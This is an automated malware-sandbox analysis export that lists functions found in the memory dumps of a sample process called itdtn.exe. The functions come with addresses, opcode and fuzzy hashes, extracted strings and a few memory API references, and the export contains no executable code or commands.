Source File: 00000002.00000002.3255518644.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6fe0000_Copy#51007602.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 294f45336328ffd347ccbcf9b54fa92e238003f72a3aa2bd3254db954ad93578
Instruction ID: b4737c0e2ad032988ba2c3c57e51915dd9e983ff843f73fe799263de41ee3bfa
Opcode Fuzzy Hash: 294f45336328ffd347ccbcf9b54fa92e238003f72a3aa2bd3254db954ad93578
Instruction Fuzzy Hash: F501A439F104154BCF75992DE464B2EBAEBDBC9620F108439F20EC7344DE65EC024782

Function 06FEA328 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3255518644.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6fe0000_Copy#51007602.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9956ddc8936027385c5b7a6eb5811eac4fdbf93ce73ecaddbf228952b5170045
Instruction ID: cf4fb1fe004662145e1ce2caa68feaa1e2ee59b84932c14c8088b03789100f30
Opcode Fuzzy Hash: 9956ddc8936027385c5b7a6eb5811eac4fdbf93ce73ecaddbf228952b5170045
Instruction Fuzzy Hash: 1501A435F101144FCB61DA2DE455B2EBBE6EB86710F108439F50ECB354EE26EC428781

Function 06FEC7E8 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3255518644.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6fe0000_Copy#51007602.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bdcfe2a12d28609dae0336928b4bfea0c854b885d2ddff24b4c89a6f41d78dc3
Instruction ID: 4db1a21e6c8ffc6cf8a811444ccabb603cd4644bf2933f919c22ba32dce88c62
Opcode Fuzzy Hash: bdcfe2a12d28609dae0336928b4bfea0c854b885d2ddff24b4c89a6f41d78dc3
Instruction Fuzzy Hash: 20F0EC33F25224ABDB146969EC049EEBB7AF784354F104535EE11E7344DA31AC11C7C0

Function 06FE6481 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3255518644.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6fe0000_Copy#51007602.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11e2d29307103f731555271544b4f4ddb44e88e86155abb09e7164a592abce64
Instruction ID: 19d7d100b780231104960355f5e0040c668c2b992e877b565c4566c9e1291399
Opcode Fuzzy Hash: 11e2d29307103f731555271544b4f4ddb44e88e86155abb09e7164a592abce64
Instruction Fuzzy Hash: 6AE09271D2424D6BDB90CE64C95875BBFA9EB41204F2048A6D848C7282F236DD018751

Function 06FE6490 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3255518644.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6fe0000_Copy#51007602.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa976699a50b98a0a6b50c08d3026a88d70fc42e5459dfcadbf44bb0d2ea6d04
Instruction ID: 725dc6cf8c18a68ea3b761103255ee275bf8f14e3a8e18320ec8d75c84a8849d
Opcode Fuzzy Hash: aa976699a50b98a0a6b50c08d3026a88d70fc42e5459dfcadbf44bb0d2ea6d04
Instruction Fuzzy Hash: A9E01271E2010DABDF90DEB4C95975BBBADE745214F2088A6D409C7241E576DE024780

Non-executed Functions

Function 06FE76B0 Relevance: 13.0, Strings: 10, Instructions: 468COMMON

Download Yara Rule

Strings

$]q, xrefs: 06FE7BA1
$]q, xrefs: 06FE7C56
$]q, xrefs: 06FE77E4
$]q, xrefs: 06FE7815
$]q, xrefs: 06FE7C40
$]q, xrefs: 06FE77F0
$]q, xrefs: 06FE7821
$]q, xrefs: 06FE7C4C
$]q, xrefs: 06FE7C62
$]q, xrefs: 06FE7BAD

Memory Dump Source

Source File: 00000002.00000002.3255518644.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6fe0000_Copy#51007602.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-2843079600
Opcode ID: 949c83847f0cd37077ef6ed6984fdd13e9f13db944a29247eeaef67bb1dc8837
Instruction ID: 0bf4e73e98fee0e0e0102f4bdfc99761778ee827a7791b988c521e34cc2a0126
Opcode Fuzzy Hash: 949c83847f0cd37077ef6ed6984fdd13e9f13db944a29247eeaef67bb1dc8837
Instruction Fuzzy Hash: 4C125C34F012198FDB68EF69D894A9DBBB6FF88304F208569D409AB355DB349D81CF81

Function 06FEA950 Relevance: 10.2, Strings: 8, Instructions: 229COMMON

Download Yara Rule

Strings

$]q, xrefs: 06FEAAD8
$]q, xrefs: 06FEAACC
$]q, xrefs: 06FEAAA1
$]q, xrefs: 06FEAA52
$]q, xrefs: 06FEAB0E
$]q, xrefs: 06FEAB02
$]q, xrefs: 06FEAAAD
$]q, xrefs: 06FEAA46

Memory Dump Source

Source File: 00000002.00000002.3255518644.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6fe0000_Copy#51007602.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-1273862796
Opcode ID: f8ebfbb711e1716349d2158424cd648c10d405707cd7b3cdfde0edaae3fb93aa
Instruction ID: eab2a5cc133f550a0418dce4751d69d8c2d191e2bb0131c66310b4b5af52b7e0
Opcode Fuzzy Hash: f8ebfbb711e1716349d2158424cd648c10d405707cd7b3cdfde0edaae3fb93aa
Instruction Fuzzy Hash: 10913930E00209DFDB68DF69D994BAEBBB6FF84700F108569E4019B295DB78DC45CB90

Function 06FE70B0 Relevance: 9.2, Strings: 7, Instructions: 405COMMON

Download Yara Rule

Strings

$]q, xrefs: 06FE7392
$]q, xrefs: 06FE75B8
$]q, xrefs: 06FE73EC
$]q, xrefs: 06FE73F8
.5uq, xrefs: 06FE710B
$]q, xrefs: 06FE754C
$]q, xrefs: 06FE75C4

Memory Dump Source

Source File: 00000002.00000002.3255518644.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6fe0000_Copy#51007602.jbxd

Similarity

API ID:
String ID: .5uq$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-981061697
Opcode ID: d7acd2776ce7c15904b8fcedc0eabbaa495af859da42b6cbff71dd21ab8c80b1
Instruction ID: d450e69f5a95a67c579253f82f55c25bc401f3329ae1242a0429656b5a084d9b
Opcode Fuzzy Hash: d7acd2776ce7c15904b8fcedc0eabbaa495af859da42b6cbff71dd21ab8c80b1
Instruction Fuzzy Hash: 2FF17F34B01209DFDB58EFA8E554A6EBBB6FF84304F608469D4059B369CB35EC42CB91

Function 06FE83E8 Relevance: 5.3, Strings: 4, Instructions: 282COMMON

Download Yara Rule

Strings

$]q, xrefs: 06FE86B3
$]q, xrefs: 06FE8642
$]q, xrefs: 06FE86A7
$]q, xrefs: 06FE864E

Memory Dump Source

Source File: 00000002.00000002.3255518644.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6fe0000_Copy#51007602.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q
API String ID: 0-858218434
Opcode ID: bcd4ddd62783d10157f46c194025f053edcfb7149a117e0af8b2c8cbbf2f0157
Instruction ID: c4b21fbd2ab8d211e601503d8b8064780b816427df3d2bdaa761c570d818fb1e
Opcode Fuzzy Hash: bcd4ddd62783d10157f46c194025f053edcfb7149a117e0af8b2c8cbbf2f0157
Instruction Fuzzy Hash: 81B16A30F012098FDB58EFA8D59469EBBB6FF84350F248829D419AB355DB35DC82CB81

Function 06FEACD8 Relevance: 5.2, Strings: 4, Instructions: 170COMMON

Download Yara Rule

Strings

$]q, xrefs: 06FEAE09
$]q, xrefs: 06FEAE5C
$]q, xrefs: 06FEAEB4
$]q, xrefs: 06FEAE8B

Memory Dump Source

Source File: 00000002.00000002.3255518644.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6fe0000_Copy#51007602.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q
API String ID: 0-858218434
Opcode ID: c00815b298e04fc84cc2de50e7787c7dc0c165e2c967d5a95894b585070cfb39
Instruction ID: 1843140e8de58722196b2a8225dcf18ba0d7aa8cf57930e3d123cbea2fc04a7b
Opcode Fuzzy Hash: c00815b298e04fc84cc2de50e7787c7dc0c165e2c967d5a95894b585070cfb39
Instruction Fuzzy Hash: 5E51BC34F112048FDBA5DB68E980AADBBB3EF84310F10856AD805DB295DB35EC42CB91

Function 06FE8800 Relevance: 5.2, Strings: 4, Instructions: 168COMMON

Download Yara Rule

Strings

$]q, xrefs: 06FE887F
$]q, xrefs: 06FE888B
LR]q, xrefs: 06FE8942
LR]q, xrefs: 06FE88F3

Memory Dump Source

Source File: 00000002.00000002.3255518644.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6fe0000_Copy#51007602.jbxd

Similarity

API ID:
String ID: LR]q$LR]q$$]q$$]q
API String ID: 0-3527005858
Opcode ID: ba999847904eae239127b4e446048c6e47dafee7f631ad1b0a1db039fb4ef99e
Instruction ID: 6dc5948fb39d406f2385643c98662c9abe28586d15a4c412f3436ee2c782cb4b
Opcode Fuzzy Hash: ba999847904eae239127b4e446048c6e47dafee7f631ad1b0a1db039fb4ef99e
Instruction Fuzzy Hash: A1510631B00206AFDB58EF28D894A6EBBF6FF84740F148569D4169B3A5DB34EC41CB91

Analysis Process: itdtn.exePID: 2604, Parent PID: 1028COMMON

Execution Graph

Execution Coverage:	9.9%
Dynamic/Decrypted Code Coverage:	78.8%
Signature Coverage:	0%
Total number of Nodes:	386
Total number of Limit Nodes:	8

Executed Functions

Function 05B09768 Relevance: 4.1, Strings: 3, Instructions: 370
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4']q, xrefs: 05B09982
4']q, xrefs: 05B09AE1
4']q, xrefs: 05B09A61

Memory Dump Source

Source File: 00000004.00000002.2244982026.0000000005B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5b00000_itdtn.jbxd

Similarity

API ID:
String ID: 4']q$4']q$4']q
API String ID: 0-705557208
Opcode ID: 6546622b453f3ebfef8473f88c37637b392d96cb94828ae83ba7a3829de4da32
Instruction ID: 079831b55e5906bf3e5e9b6afa37ffe765e146d2c502606a7edf5654b57ea2d8
Opcode Fuzzy Hash: 6546622b453f3ebfef8473f88c37637b392d96cb94828ae83ba7a3829de4da32
Instruction Fuzzy Hash: B3F19734B10218DFCB18DB64D998AADBBB2FF89300F558594E406AB3A5DB71FD42CB50

Function 05B0DD2F Relevance: 4.1, Strings: 3, Instructions: 364
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Haq, xrefs: 05B0DEC1
(aq, xrefs: 05B0DE95
(aq, xrefs: 05B0DE69

Memory Dump Source

Source File: 00000004.00000002.2244982026.0000000005B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5b00000_itdtn.jbxd

Similarity

API ID:
String ID: (aq$(aq$Haq
API String ID: 0-2456560092
Opcode ID: 3cce25c4c3c87ee9fffe780dc383e2f463ef2ea9c8106ecec52302d23b96112f
Instruction ID: 1829f2a015b894ab8ea9580d6622888054423f070263ba60394769b056322a9c
Opcode Fuzzy Hash: 3cce25c4c3c87ee9fffe780dc383e2f463ef2ea9c8106ecec52302d23b96112f
Instruction Fuzzy Hash: 73E10134A002099FCB04DF64D4949ADBFB2FF89310F5485A9E806AB3A5DB34FD46CB51

Function 05B07158 Relevance: 2.8, Strings: 2, Instructions: 342
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(aq, xrefs: 05B0716C
d, xrefs: 05B073B9

Memory Dump Source

Source File: 00000004.00000002.2244982026.0000000005B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5b00000_itdtn.jbxd

Similarity

API ID:
String ID: (aq$d
API String ID: 0-3557608343
Opcode ID: 3c5864d7cccf91052ba1c98cdbb426e63f8d98ccb5333780e809f24b8a7b35cd
Instruction ID: bbbc53b336c006b3891f41dbf244199914c82b4fe32bfb9e133f0edb930f9893
Opcode Fuzzy Hash: 3c5864d7cccf91052ba1c98cdbb426e63f8d98ccb5333780e809f24b8a7b35cd
Instruction Fuzzy Hash: B3D15C306006068FCB14DF29C48496EFBF6FF89320B55D9A9D45A9B3A5DB34F846CB90

Function 05B035C8 Relevance: 2.7, Strings: 2, Instructions: 154
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Haq, xrefs: 05B0375D
(aq, xrefs: 05B036CE

Memory Dump Source

Source File: 00000004.00000002.2244982026.0000000005B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5b00000_itdtn.jbxd

Similarity

API ID:
String ID: (aq$Haq
API String ID: 0-3785302501
Opcode ID: d5aede8f78794eef48e71cb8686e33e4a37746004d2d47a0e145b679b05f3a92
Instruction ID: baa760ea8dbe673ab58e0a2cc9fcc681f72cf55a979ec480edd73bbf8afa8fb0
Opcode Fuzzy Hash: d5aede8f78794eef48e71cb8686e33e4a37746004d2d47a0e145b679b05f3a92
Instruction Fuzzy Hash: 3D517B347006058FC759AF29C49892EBFB3FF9921075044ADD8069B3A5DF35ED06CBA1

Function 05FB557A Relevance: 2.5, Strings: 2, Instructions: 23
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

=, xrefs: 05FB55A7
,, xrefs: 05FB55D6

Memory Dump Source

Source File: 00000004.00000002.2246781220.0000000005FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5fb0000_itdtn.jbxd

Similarity

API ID:
String ID: ,$=
API String ID: 0-1737935649
Opcode ID: ca6f12064d07923478139dc95189c7dc8c599de7ec434056d8b7890d4c6ffe60
Instruction ID: bff525cb3f0ae5fbcbf8e049942ee1b186beab7484542855f4551df2acc699db
Opcode Fuzzy Hash: ca6f12064d07923478139dc95189c7dc8c599de7ec434056d8b7890d4c6ffe60
Instruction Fuzzy Hash: BEF0493494411ACFEB60DB54D8487EA7AB5EF04354F1140E6900993651DB784A888F12

Function 05B0A640 Relevance: 1.9, Strings: 1, Instructions: 677COMMON

Download Yara Rule

Strings

,aq, xrefs: 05B0A9BB

Memory Dump Source

Source File: 00000004.00000002.2244982026.0000000005B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5b00000_itdtn.jbxd

Similarity

API ID:
String ID: ,aq
API String ID: 0-3092978723
Opcode ID: fc9d112d37b1b043774719162aa37e8822f5e9830bd51aca19bce6a92c56da2a
Instruction ID: ffee5492e3a58a131037351e1993cf902e21fabfbc74835e59d04a9bfed2e5cb
Opcode Fuzzy Hash: fc9d112d37b1b043774719162aa37e8822f5e9830bd51aca19bce6a92c56da2a
Instruction Fuzzy Hash: 52521A75A002288FCB64DF69C981BDDBBF6BF88300F1545D9E509A73A5DA30AD81CF61

Function 05B0B4A7 Relevance: 1.7, Strings: 1, Instructions: 417COMMON

Download Yara Rule

Strings

$]q, xrefs: 05B0B60F

Memory Dump Source

Source File: 00000004.00000002.2244982026.0000000005B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5b00000_itdtn.jbxd

Similarity

API ID:
String ID: $]q
API String ID: 0-1007455737
Opcode ID: 8bb3a9df5a61cb73e8184f182f0d317132219897ca6b47e0119effd422e490f9
Instruction ID: 1bed0e61a2bcb6d7e1c9457b5a741ee5694336ec6b485ffdaa8dde2f56e1689e
Opcode Fuzzy Hash: 8bb3a9df5a61cb73e8184f182f0d317132219897ca6b47e0119effd422e490f9
Instruction Fuzzy Hash: 07E1BB717042028FDB649F29C49566E7FF2FFD5210F6440EAE882CB3E5DA34E9818B56

Function 05D2DB70 Relevance: 1.6, APIs: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 05D2DC14

Memory Dump Source

Source File: 00000004.00000002.2246264025.0000000005D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5d20000_itdtn.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 465d9ab7012fba8683cec0f7d8c70954887ab73b300aad4dce4f81570f956fe0
Instruction ID: 2cf6d35b746832321584c34eb2c0fd92a3fd25f022b8e66ca7bbc79ed4437169
Opcode Fuzzy Hash: 465d9ab7012fba8683cec0f7d8c70954887ab73b300aad4dce4f81570f956fe0
Instruction Fuzzy Hash: F131A8B8D002589FCB10DFA9D980A9EFBB1BF59310F14942AE819B7210D775A945CF94

Function 05B09759 Relevance: 1.5, Strings: 1, Instructions: 225COMMON

Download Yara Rule

Strings

4']q, xrefs: 05B09982

Memory Dump Source

Source File: 00000004.00000002.2244982026.0000000005B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5b00000_itdtn.jbxd

Similarity

API ID:
String ID: 4']q
API String ID: 0-1259897404
Opcode ID: d0f0973b687fe82f8b193e20dc0ea55967b8451fe2d6b574b4fbc4276ffd93ec
Instruction ID: c6d018829c2e8e843c1299cc90a3f0fa83e31381f4cc8335b34e1d81cd3cd938
Opcode Fuzzy Hash: d0f0973b687fe82f8b193e20dc0ea55967b8451fe2d6b574b4fbc4276ffd93ec
Instruction Fuzzy Hash: 04A1B834B10218DFCB04DFA4D9989ADBBB2FF89300F559599E406AB3A5DB30BD42CB50

Function 05B0E458 Relevance: 1.4, Strings: 1, Instructions: 143COMMON

Download Yara Rule

Strings

(aq, xrefs: 05B0E584

Memory Dump Source

Source File: 00000004.00000002.2244982026.0000000005B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5b00000_itdtn.jbxd

Similarity

API ID:
String ID: (aq
API String ID: 0-600464949
Opcode ID: 4f9634ed714989510cc04ece1020d712b4b2272d6dd80578f6609b4bb2bd95f9
Instruction ID: 52cb7f915f7eda1257b2ad6072881f13f37ac6f8fac95f731ab85c999416ba76
Opcode Fuzzy Hash: 4f9634ed714989510cc04ece1020d712b4b2272d6dd80578f6609b4bb2bd95f9
Instruction Fuzzy Hash: 1A41A132704240AFCB469F68D814D69BFB6FF89310B1980EAE605CB3B2CA31EC11DB51

Function 05B0CE03 Relevance: 1.4, Strings: 1, Instructions: 111COMMON

Download Yara Rule

Strings

4']q, xrefs: 05B0CEB7

Memory Dump Source

Source File: 00000004.00000002.2244982026.0000000005B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5b00000_itdtn.jbxd

Similarity

API ID:
String ID: 4']q
API String ID: 0-1259897404
Opcode ID: 91ff20c5a44ed71999a8958e53c721a31a704d7a872ed998a696dfc94bb12d34
Instruction ID: 5f15427f7a0a9fc1ba9613124598f77f59dd5093fb5c5c86848f33c18b042b97
Opcode Fuzzy Hash: 91ff20c5a44ed71999a8958e53c721a31a704d7a872ed998a696dfc94bb12d34
Instruction Fuzzy Hash: 6A313B713406009FD708DB29C959F2ABBEAAF89B04F1045A8E50A8B3A5DF75FC42C795

Function 05B0CE10 Relevance: 1.4, Strings: 1, Instructions: 109COMMON

Download Yara Rule

Strings

4']q, xrefs: 05B0CEB7

Memory Dump Source

Source File: 00000004.00000002.2244982026.0000000005B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5b00000_itdtn.jbxd

Similarity

API ID:
String ID: 4']q
API String ID: 0-1259897404
Opcode ID: a84a8977f04fcd3b93e11c098fb457529837cf070e090ae758412654253229ce
Instruction ID: 01cd8eaf2a70c8ba9c96760ea0c1bb7fc003eff179e3c4181a05184416c6484b
Opcode Fuzzy Hash: a84a8977f04fcd3b93e11c098fb457529837cf070e090ae758412654253229ce
Instruction Fuzzy Hash: 0E313B753406009FD308DB69C998F2ABBEAAF89710F1045A8E50A8B3A5DE75FC42C794

Function 05D2ED38 Relevance: 1.3, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(?,?,?,?), ref: 05D2EDD7

Memory Dump Source

Source File: 00000004.00000002.2246264025.0000000005D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5d20000_itdtn.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 7624eabd77d150d7d085dddbdf0d690a0cd4d83c279bb27a0080d98b263960a4
Instruction ID: 7ce03631373376c72d7afe7465e0ed4a679d64115a949f3f480751a393070679
Opcode Fuzzy Hash: 7624eabd77d150d7d085dddbdf0d690a0cd4d83c279bb27a0080d98b263960a4
Instruction Fuzzy Hash: EC3199B8D002589FCB10CFA9D980AAEFBB5FF59310F14942AE815B7310D735A945CF94

Function 05B087D1 Relevance: 1.3, Strings: 1, Instructions: 92COMMON

Download Yara Rule

Strings

4']q, xrefs: 05B08819

Memory Dump Source

Source File: 00000004.00000002.2244982026.0000000005B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5b00000_itdtn.jbxd

Similarity

API ID:
String ID: 4']q
API String ID: 0-1259897404
Opcode ID: ff03e3516944261d3e87a00cf2405305b5753f5d58c3a231ca60d03175e36f9c
Instruction ID: 8055c16f78e07ee500aeded8e85317e578db6601c19e3e8039a3aced15d06748
Opcode Fuzzy Hash: ff03e3516944261d3e87a00cf2405305b5753f5d58c3a231ca60d03175e36f9c
Instruction Fuzzy Hash: 8A3180327002049FCB459F58D954D69BFF6FF88310B4544A9EA06AB3A5EA32EC02CB55

Function 05B03EE0 Relevance: 1.3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

Strings

p<]q, xrefs: 05B03F1A

Memory Dump Source

Source File: 00000004.00000002.2244982026.0000000005B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5b00000_itdtn.jbxd

Similarity

API ID:
String ID: p<]q
API String ID: 0-1327301063
Opcode ID: c04bab9c57845e262a20b0884a7d76a0bd31594f15a8c7830dbc15fa1233a5ae
Instruction ID: 5b562e00eace2a12cfea6448d0381212d287acbdd24e24bbc5762ae155bb9e49
Opcode Fuzzy Hash: c04bab9c57845e262a20b0884a7d76a0bd31594f15a8c7830dbc15fa1233a5ae
Instruction Fuzzy Hash: 77213A703045549FCB05CF2AD844AAA7FFAFF8A211B0944A5FC46CB2B1CA75EC51CB60

Function 05B03ED1 Relevance: 1.3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

Strings

p<]q, xrefs: 05B03F1A

Memory Dump Source

Source File: 00000004.00000002.2244982026.0000000005B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5b00000_itdtn.jbxd

Similarity

API ID:
String ID: p<]q
API String ID: 0-1327301063
Opcode ID: c8e48a0c772a9493980b8d5fe389c1a74d94945da15baab55d81e1bc04115d61
Instruction ID: 79b10617a94b57d948d8f2ae0634242551f9f812955b076f096eb269b0561337
Opcode Fuzzy Hash: c8e48a0c772a9493980b8d5fe389c1a74d94945da15baab55d81e1bc04115d61
Instruction Fuzzy Hash: 492137313045449FCB05DF2AD844AAA7FEAFF8A610F0944A5F846CB2B1CB35EC51CB20

Function 05B0D648 Relevance: .4, Instructions: 437COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2244982026.0000000005B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5b00000_itdtn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7e13298fe696ca5e47e8b47eef359f3f6f76bf6e305ef1b9322fa0db3de8078
Instruction ID: 3cb26869337de0fa92314bc1d475b3c35185ec9ffd908fddf022f9a642aa5f43
Opcode Fuzzy Hash: e7e13298fe696ca5e47e8b47eef359f3f6f76bf6e305ef1b9322fa0db3de8078
Instruction Fuzzy Hash: AC12EA34B102198FCB14EF64C894A9DBBB2FF89300F5195A8D54AAB3A5DF70ED85CB50

Function 05B0E5F0 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2244982026.0000000005B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5b00000_itdtn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a23d09331a03ceec952c9505e996c2f2ddadc3aa16238cabb6f141e93e8c4c81
Instruction ID: 38b43d1ff0603b2db964b3e707af812282ee98a9d47efb8580fcfb9cbf9fcab1
Opcode Fuzzy Hash: a23d09331a03ceec952c9505e996c2f2ddadc3aa16238cabb6f141e93e8c4c81
Instruction Fuzzy Hash: 05813834B10214DFCB04EF68D498A6DBBB6FF88610F5485A9E5069B3A5DB30EC42CB90

Function 05B005D8 Relevance: .2, Instructions: 214COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2244982026.0000000005B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5b00000_itdtn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 646d5d6da684195de6b30abbc9c1995db9ab9e85158940ebae18515c2b7409ca
Instruction ID: 86f6e1b385bb087ed2af7378415a98e663c1cc4e5105e744f153a7f27450feb2
Opcode Fuzzy Hash: 646d5d6da684195de6b30abbc9c1995db9ab9e85158940ebae18515c2b7409ca
Instruction Fuzzy Hash: D5814B35B422089FCB04EFA5D559BADBBB2FF88321F5440A9E81297390CB75ED41CB60

Function 05B06068 Relevance: .2, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2244982026.0000000005B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5b00000_itdtn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37596562545dc9ffff5a27f80ad3b9b4baae204307ca5bc2f5490f41b13e1eae
Instruction ID: fad4ab1cbcc03e0bbbf1eb767821e254d48bc47367777eb11e0383120ee2e231
Opcode Fuzzy Hash: 37596562545dc9ffff5a27f80ad3b9b4baae204307ca5bc2f5490f41b13e1eae
Instruction Fuzzy Hash: 0A81F375A40218CFCB14DFA8C58499EBBF6FF88350B1595A9E8069B3A1DB30ED41CB90

Function 05B0E5E0 Relevance: .2, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2244982026.0000000005B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5b00000_itdtn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18f6fffc5fab164d5e44ae6d49c3ad189ca4649194bb5b741de3f6af0616565c
Instruction ID: 8cab001ce621e993b99df6cf147dd23925c5360273d65b51abb56ee275e8681b
Opcode Fuzzy Hash: 18f6fffc5fab164d5e44ae6d49c3ad189ca4649194bb5b741de3f6af0616565c
Instruction Fuzzy Hash: B5712A75B10204DFCB04DF68D498A6DBBB6FF89710F5485A9E4069B3A2DB30EC41CB90

Function 05B00CF8 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2244982026.0000000005B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5b00000_itdtn.jbxd

Similarity

API ID:
String ID:
API String ID:
